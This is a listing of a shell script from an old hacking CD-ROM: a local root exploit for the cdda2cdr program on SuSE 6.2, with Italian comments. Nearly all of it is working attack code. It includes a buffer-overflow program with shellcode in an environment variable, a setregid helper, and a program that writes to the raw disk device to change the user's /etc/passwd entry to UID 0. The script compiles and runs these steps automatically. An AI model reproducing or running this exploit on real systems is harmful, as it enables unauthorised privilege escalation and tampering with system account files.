home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / s0ftpj / cdda2cdr.sh < prev    next >
Encoding:
Linux/UNIX/POSIX Shell Script  |  2000-12-17  |  3.6 KB  |  172 lines

  1. #!/bin/sh
  2. #
  3. # /usr/bin/cdda2cdr Xploit on SuSE 6.2
  4. # by FuSyS [S0ftPj|BFi]
  5. #
  6.  
  7. USERNAME=`whoami`
  8.  
  9. echo "Sto Copiando e Compilando l'Exploit ....."
  10.  
  11. /bin/cat > cdda2cdr-xpl.c << EOF
  12.  
  13.  #include <stdlib.h>
  14.  
  15.  #define DEFAULT_OFFSET     0
  16.  #define DEFAULT_BUFFER_SIZE     500
  17.  #define DEFAULT_EGG_SIZE     2048
  18.  #define NOP             0x90
  19.  #define SUID            "/usr/bin/cdda2cdr"
  20.  
  21.  char shellcode[] =
  22.  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  23.  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  24.  "\x80\xe8\xdc\xff\xff\xff./sgid";
  25.  
  26.  unsigned long get_esp(void) {
  27.      __asm__("movl %esp,%eax");
  28.  }
  29.  
  30.  int main(int argc, char *argv[]) {
  31.  
  32.    char *buff, *ptr, *egg;
  33.    long *addr_ptr, addr;
  34.    int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  35.    int i, eggsize=DEFAULT_EGG_SIZE;
  36.    char comando[512];
  37.  
  38.    printf("\ncdda2cdr Xploit V.03alpha (CDR v0.4) by FuSyS [S0ftPj|BFi]\n");
  39.  
  40.    if (!(buff = malloc(bsize))) {
  41.      printf("Can't allocate memory.\n");
  42.      exit(0);
  43.    }
  44.    if (!(egg = malloc(eggsize))) {
  45.      printf("Can't allocate memory.\n");
  46.      exit(0);
  47.    }
  48.  
  49.    addr = get_esp() - offset;
  50.    printf("Using address: 0x%x\n", addr);
  51.  
  52.    ptr = buff;
  53.    addr_ptr = (long *) ptr;
  54.    for (i = 0; i < bsize; i+=4)
  55.    *(addr_ptr++) = addr;
  56.  
  57.    ptr = egg;
  58.    for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
  59.      *(ptr++) = NOP;
  60.  
  61.    for (i = 0; i < strlen(shellcode); i++)
  62.      *(ptr++) = shellcode[i];
  63.  
  64.    buff[bsize - 1] = '\0';
  65.    egg[eggsize - 1] = '\0';
  66.  
  67.    memcpy(egg,"EGG=",4);
  68.    putenv(egg);
  69.    snprintf(comando,511,"%s -D %s", SUID, buff);
  70.    system(comando);
  71.     exit(0);
  72. }
  73.  
  74. EOF
  75.  
  76. # se non volete usare sgid.c allora usate lo shellcode presentato in questo
  77. # articolo.
  78.  
  79. /bin/cat > sgid.c << EOF
  80.  
  81. int main () {
  82.     setregid(getegid(), getegid());
  83.     system("./raw");
  84.     exit(0);
  85. }
  86.  
  87. EOF
  88.  
  89. /bin/cat > rawdev.c << EOF
  90.  
  91. #include <stdio.h>
  92. #include <unistd.h>
  93. #include <stdlib.h>
  94. #include <fcntl.h>
  95. #include <sys/types.h>
  96. #include <sys/stat.h>
  97. #include <pwd.h>
  98. #include <string.h>
  99.  
  100. #define PASSWD        "/etc/passwd"
  101. #define MAXBUFF        8*1024
  102.  
  103. /*
  104.  * Questo codice accede solo ai dischi dell'interfaccia primaria IDE.
  105.  * Perche' ? Semplice. Fate qualcosa anche voi =;P
  106.  */
  107.  
  108. int main () {
  109.  
  110.     struct passwd *r00t;
  111.     struct stat statbuf;
  112.     int major, minor;
  113.     char disk[10];
  114.     char buffer[MAXBUFF], target[100];
  115.     FILE *fin;
  116.  
  117.         r00t = getpwnam(getlogin());
  118.     stat(PASSWD, &statbuf);
  119.     major = statbuf.st_dev>>8;
  120.     minor = statbuf.st_dev&0xff;
  121.     
  122.     snprintf(target, 100, "%s:%s:%i:%i:%s:%s:%s", r00t->pw_name,
  123.         r00t->pw_passwd, r00t->pw_uid, r00t->pw_gid, r00t->pw_gecos,
  124.         r00t->pw_dir, r00t->pw_shell);
  125.  
  126.     if(major==3) {
  127.        snprintf(disk,10, "%s%i", 
  128.          ((minor<64)?"/dev/hda":"/dev/hdb"),((minor<64)?minor:(minor-64)));
  129.     }
  130.  
  131.     printf("\nModifico %s passando direttamente da %s\n", PASSWD, disk);
  132.     usleep(500);
  133.  
  134.     if((fin=fopen(disk, "rb+"))==NULL) {
  135.         printf("Impossibile aprire %s\n", disk);
  136.         exit(1);
  137.     }
  138.  
  139.     while((fgets(buffer, MAXBUFF, fin))!=NULL) {
  140.         if(strstr(buffer, target)) {
  141.             fseek(fin, -1*strlen(buffer), SEEK_CUR);
  142.             snprintf(target, 100, "%s:%s:0:%i:%s%s:%s:%s", 
  143.                 r00t->pw_name, r00t->pw_passwd, 
  144.                 r00t->pw_gid, r00t->pw_gecos, 
  145.                 (r00t->pw_uid<100)?"x":"xx",
  146.                 r00t->pw_dir, r00t->pw_shell);
  147.             strncpy(buffer, target, strlen(target));
  148.             fputs(buffer, fin);
  149.             printf("Ora %s ha UID uguale a 0 !\n\n", r00t->pw_name);
  150.             break;
  151.         }
  152.     }
  153.     fclose(fin);
  154.     exit(0);
  155. }
  156.  
  157. EOF
  158.  
  159. # se usate il mio shellcode allora cancellate anche la compilazione di sgid
  160. # oltre al sorgente su riportato
  161.  
  162. /usr/bin/gcc -o cddxpl cdda2cdr-xpl.c
  163. /usr/bin/gcc -o sgid sgid.c
  164. /usr/bin/gcc -o raw rawdev.c
  165.  
  166. ./cddxpl
  167.  
  168. # decidete voi se eseguire subito un su - utente o aspettare il sync del file
  169. # /etc/passwd
  170.  
  171. #/bin/su - $USERNAME
  172.